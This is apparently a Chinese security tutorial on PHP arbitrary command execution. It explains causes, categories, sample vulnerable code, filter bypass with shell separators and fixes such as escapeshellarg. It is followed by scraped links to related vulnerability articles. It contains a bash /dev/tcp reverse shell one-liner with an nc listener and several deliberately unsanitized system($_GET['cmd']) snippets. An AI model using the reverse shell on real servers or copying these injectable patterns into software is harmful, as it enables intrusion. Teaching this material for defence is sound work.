8_任意系统命令执行

一、背景介绍

当应用(网络设备例如:家用路由器,DNS服务器等等)需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成任意命令执行攻击。主要以PHP为主介绍命令执行漏洞。

二、漏洞成因

脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去web的特殊功能时,就需要调用一些外部程序。(调用外部程序,参数可控,没有过滤)

  在php中可以调用外部程序的常见函数:system().exec().shell_exec().passthru().popen().proc_popen()

  system(‘ping 127.0.0.1 & ifconfig‘)    加上&符号表示,执行前一句之后紧接着执行&后面的。还有| || ;   & &&

  成因:有这些函数  并且参数可控 参数没有过滤 就一定存在任意命令执行漏洞。

三、漏洞分类

  1.代码层过滤不严格

    一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用之:system("/bin/program aaarg $arg")

  2.系统的漏洞造成系统命令执行注入

  3.调用第三方组件存在代码执行漏洞

    很典型的就是wordpress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。

    另外,JAVA中的命令执行漏洞(struct2必会/Elasticsearch Groovy等)很常见。

四、漏洞危害

  1.继承web应用服务器的权限,去执行系统命令。

  2.继承web应用服务器的权限,读写文件。

  3.反弹shell(监听端口 nc -l -p 8888,让服务器去主动连接监听的端口,wooyun文章linux后门) bash -i > & /dev/tcp/IP/8888 0 > &1  需要有一个外网IP

  4.控制整个网站

  5.甚至控制整个服务器

  6.可以进一步内网渗透等

五、漏洞利用

  典型的漏洞代码1:

<?php $cmd=$_GET[‘cmd‘];
 system($cmd);
?>

把上述代码搭建到本地进行测试:

  

  典型的漏洞代码2:  

<?php
$cmd=$_GET[‘cmd‘];
system("ping ".$cmd); ?>

  典型的漏洞代码3:

<?php
$cmd=$_GET[‘cmd‘];
system("ping -n ".$cmd);
?>

  典型漏洞代码4: 

<?php
$cmd=$_GET[‘cmd‘];
system("ping -n \"$cmd\"");
?>

  这里是构造闭合,||的用法是执行对一句,就不再往下执行了,由题知没有给-n 传参,所以ping -n执行有错,继续向下执行whoami命令,这句执行成功之后不再往下执行,所以就是以上效果。

  典型漏洞代码5: 

<?php
$cmd=$_GET[‘cmd‘];
system("ping -n ‘$cmd‘");
?>

六、过滤绕过

; & |   构造闭合 绕过过滤 执行命令

七、修复方案

  1.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用之。

  2.对于可控点是程序参数的情况,使用escapeshellcmd函数进行过滤。

  3.对于可控点是程序参数的值的情况,使用escapeshellarg函数进行过滤。

  4.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。

八、总结

  前提:

    代码中存在调用系统命令的函数

      代码中存在我们可控的点

    这个点没有经过过滤

  函数中存在我们可控点:

    1.直接是待执行的程序

    2.传入程序的整个参数

    3.传入程序的某个参数的值(无引号包裹)

    4.传入程序的某个参数的值(有双引号包裹)

    5.传入程序的某个参数的值(有单引号包裹)

  过滤可能:

    可能过滤单个特殊符号

    可能针对不同可控点,使用php自带的函数进行过滤(escapeshellarg(2,3情况)\addslashes(4,5情况))。

    

时间: 2024-10-21 22:25:19

8_任意系统命令执行的相关文章

任意命令执行

任意命令执行原因: 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数.如PHP中的system.exec.shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击. 脚本语言(如PHP)优点是简洁.方便,但也伴随着一些问题,如速度慢.无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去WEB的特殊功能时,就需要调用一些外部程序. 在PHP中可以调用外部程序的常见函数: system.exe

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘原则[会比自动扫描器发现的漏洞要多,要全面] 1.每一个变量都进行尝试 2.所有头[如:cookie中的变量] 3.逐个变量删除 #####################################################################################

PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行. 这个漏洞影响php-5.3.12以前的版本,mod方式.fpm方式不受影响. 既然出现了,那就补吧,以下都是自己亲身经验,本着开源精神,做个分享,欢迎留言! 三种方案: 1.升级php版本:(php-5.3.12以

Git漏洞允许任意代码执行(CVE-2018-17456)复现

Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456.当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码. 漏洞描述 这个漏洞已被分配 CVE-2018-17456 这个唯一 ID,与之前的 CVE-2017-1000117 可选注入漏洞相似 -- 恶意仓库可以新建一个 .gitmodules 文件,其中包含以破折号开头的

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

php 168任意代码执行漏洞之php的Complex (curly) syntax

今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML 通过代码审计得知,最后会执行 eval("\$array[showurl]=\"$filename_b\";"); 而$filename_b最终值

【知道创宇404实验室】致远OA系统远程任意代码执行高危安全漏洞预警

今日(2019年6月26日),互联网上有安全研究者预警并发布了关于致远OA系统的高危安全漏洞,***者可以通过某接口漏洞在未授权的情况下实现远程任意代码执行,最终控制整个系统权限.据悉致远OA系统是由用友致远互联旗下协同管理软件系统,在国内很多央企.大型公司都有广泛应用. 知道创宇404实验室立即启动漏洞应急流程,确定该漏洞存在致远OA系统某些型号及版本中某Servlet接口缺少必要的安全过滤,最终允许***者远程执行任意代码,并且该接口无需认证即可访问,危害巨大. 通过知道创宇旗下ZoomEy

利用Vulnhub复现漏洞 - Couchdb 任意命令执行漏洞(CVE-2017-12636)

漏洞原理:Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库.应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序). 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12